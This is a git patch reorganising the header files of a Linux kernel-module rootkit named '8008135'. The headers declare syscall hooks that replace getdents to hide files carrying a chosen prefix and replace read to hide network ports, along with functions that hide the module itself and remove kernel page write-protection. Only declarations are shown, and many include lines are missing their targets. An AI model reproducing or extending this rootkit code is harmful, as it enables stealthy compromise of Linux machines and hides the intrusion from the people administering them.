From 6ad05f1c20b0407084a3014c60aeb78b5faa7918 Mon Sep 17 00:00:00 2001 From: Valentin Lechner Date: Sun, 8 Dec 2019 12:05:07 +0100 Subject: [PATCH] OutSourcing --- src/headers/637d3n75.h | 40 +++++++++++++++++++++++++++++++++++-- src/headers/8008135.h | 37 +++++++++++----------------------- src/headers/h1d3m0dul3.h | 4 ++++ src/headers/h1d3p0r7.h | 33 +++++++++++++++++++++++++++--- src/headers/p463unpr073c7.h | 2 ++ 5 files changed, 86 insertions(+), 30 deletions(-) diff --git a/src/headers/637d3n75.h b/src/headers/637d3n75.h index feab7cf..26f8ff7 100644 --- a/src/headers/637d3n75.h +++ b/src/headers/637d3n75.h @@ -17,12 +17,48 @@ * with this program. If not, see . */ +/*******************************************************************************/ + + #ifndef SRC_HEADERS_637d3n75_H #define SRC_HEADERS_637d3n75_H -/**** var ******************************************************************** + +/**** include **************************************************************** *******************************************************************************/ -sys_getdents_t sys_getdents_orig = NULL; +#include +#include +#include +#include + +#include "5y563n.h" + +#define HIDE_PREFIX "8008135." +#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX) - 1) + +#define MODULE_NAME "8008135" +#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1) + +#define __NR_getdents 78 + +/**** type ******************************************************************** +******************************************************************************/ + +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[1]; +}; + +typedef asmlinkage long (*sys_getdents_ptr)(unsigned int fd, + struct linux_dirent __user *dirent, + unsigned int count); + +/*** var ******************************************************************** +*******************************************************************************/ + +extern sys_getdents_ptr sys_getdents_orig; extern asmlinkage long sys_getdents_new(unsigned int fd, diff --git a/src/headers/8008135.h b/src/headers/8008135.h index 99bc790..d6b5bef 100644 --- a/src/headers/8008135.h +++ b/src/headers/8008135.h @@ -18,16 +18,24 @@ */ #ifndef SRC_HEADERS_8008135_H #define SRC_HEADERS_8008135_H + /**** Includes *************************************************************** *******************************************************************************/ +#include "637d3n75.h" +#include "50ck3t.h" +#include "h1d3m0dul3.h" +#include "h1d3p0r7.h" +#include "p463unpr073c7.h" + +// To set module data #include +// To communicate kernel #include +/* #include -#include #include -#include -#include "5y563n.h" +#include #include #include #include @@ -36,18 +44,10 @@ #include #include #include - +*/ /**** Defines ***************************************************************** *******************************************************************************/ -#define GETDENTS_SYSCALL_NUM 78 -#define READ_SYSCALL_NUM 0 - -#define HIDE_PREFIX "8008135." -#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX) - 1) - -#define MODULE_NAME "8008135" -#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1) /**** Modinfo **************************************************************** *******************************************************************************/ @@ -57,18 +57,5 @@ MODULE_AUTHOR("JanKoernerEnterprises"); MODULE_DESCRIPTION("8008135"); MODULE_VERSION("0.1"); -/**** type ******************************************************************* -*******************************************************************************/ -struct linux_dirent { - unsigned long d_ino; - unsigned long d_off; - unsigned short d_reclen; // d_reclen is the way to tell the length of this entry - char d_name[1]; // the struct value is actually longer than this, and d_name is variable width. -}; -typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, - struct linux_dirent __user *dirent, - unsigned int count); -typedef asmlinkage long (*read_ptr)(unsigned int fd, char __user *buf, - size_t count); #endif diff --git a/src/headers/h1d3m0dul3.h b/src/headers/h1d3m0dul3.h index 14182ae..f70db50 100644 --- a/src/headers/h1d3m0dul3.h +++ b/src/headers/h1d3m0dul3.h @@ -21,6 +21,10 @@ #define SRC_HEADERS_h1d3m0dul3_H +#include +#include + + extern void hide_module(void); #endif diff --git a/src/headers/h1d3p0r7.h b/src/headers/h1d3p0r7.h index 65ab39d..a9e8e8b 100644 --- a/src/headers/h1d3p0r7.h +++ b/src/headers/h1d3p0r7.h @@ -20,12 +20,39 @@ #ifndef SRC_HEADERS_h1d3p0r7_H #define SRC_HEADERS_h1d3p0r7_H + +/**** includes **************************************************************** +*******************************************************************************/ + #include "50ck3t.h" + +/* are those really all needed? */ +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define __NR_read 0 + + + +typedef asmlinkage long (*sys_read_ptr)(unsigned int fd, + char __user *buf, + size_t count); + + /**** var ********************************************************************** *******************************************************************************/ -read_ptr orig_read; -extern asmlinkage long hacked_read(unsigned int fd, char __user *buf, - size_t count) +extern sys_read_ptr sys_read_orig; + +extern asmlinkage long sys_read_fake(unsigned int fd, char __user *buf, + size_t count); #endif diff --git a/src/headers/p463unpr073c7.h b/src/headers/p463unpr073c7.h index a474e8f..c4aafb8 100644 --- a/src/headers/p463unpr073c7.h +++ b/src/headers/p463unpr073c7.h @@ -20,6 +20,8 @@ #ifndef SRC_HEADERS_p463unpr073c7_H #define SRC_HEADERS_p463unpr073c7_H +#include +#include "asm/special_insns.h" /**** defines ***************************************************************** *******************************************************************************/